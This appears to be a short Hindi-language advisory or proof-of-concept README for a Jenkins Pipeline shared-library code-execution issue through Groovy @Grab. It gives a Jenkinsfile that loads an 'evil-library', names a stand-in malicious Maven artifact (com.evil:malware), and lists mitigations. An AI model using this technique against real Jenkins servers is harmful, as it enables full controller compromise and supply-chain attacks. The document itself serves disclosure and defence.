CVE-2026-22018 – Jenkins Pipeline Shared Library में @Grab के माध्यम से कोड निष्पादन

प्रोग्राम कोड (Groovy pipeline)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Jenkins Pipeline Shared Library में रिमोट कोड निष्पादन

अवलोकन

एक Jenkins pipeline ऐसे स्रोत से shared library लोड करती है जिस पर पूरी तरह से भरोसा नहीं किया जाता है। लाइब्रेरी बाहरी Maven artifacts को डाउनलोड करने के लिए @Grab एनोटेशन का उपयोग करती है, जिसमें एक दुर्भावनापूर्ण क्लास शामिल हो सकती है जो Groovy संकलन के दौरान Jenkins controller पर कोड निष्पादित करती है।

भेद्यता विवरण

• प्रकार: कोड इंजेक्शन / सप्लाई चेन
• प्रभाव: Jenkins कंट्रोलर का पूर्ण समझौता।
• मूल कारण: Groovy का @Grab एनोटेशन runtime पर मनमाने JARs को लाता और लोड करता है; shared libraries सैंडबॉक्स नहीं होती हैं।

शोषण प्रदर्शन

ऐसी अविश्वसनीय लाइब्रेरी के साथ pipeline कॉन्फ़िगर करें जिसके vars/evilStep.groovy में @Grab('com.evil:malware:1.0') शामिल है। जब pipeline चलती है, तो दुर्भावनापूर्ण JAR का static initializer निष्पादित होता है।

शमन

• केवल विश्वसनीय, हस्ताक्षरित SCM रिपॉज़िटरीज़ से shared libraries का उपयोग करें।
• Groovy सैंडबॉक्स सुरक्षा सेटिंग्स के माध्यम से @Grab अक्षम करें।
• “Load implicitly” pipeline विकल्प का सावधानीपूर्वक उपयोग करें।

इंस्टॉलेशन और उपयोग

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.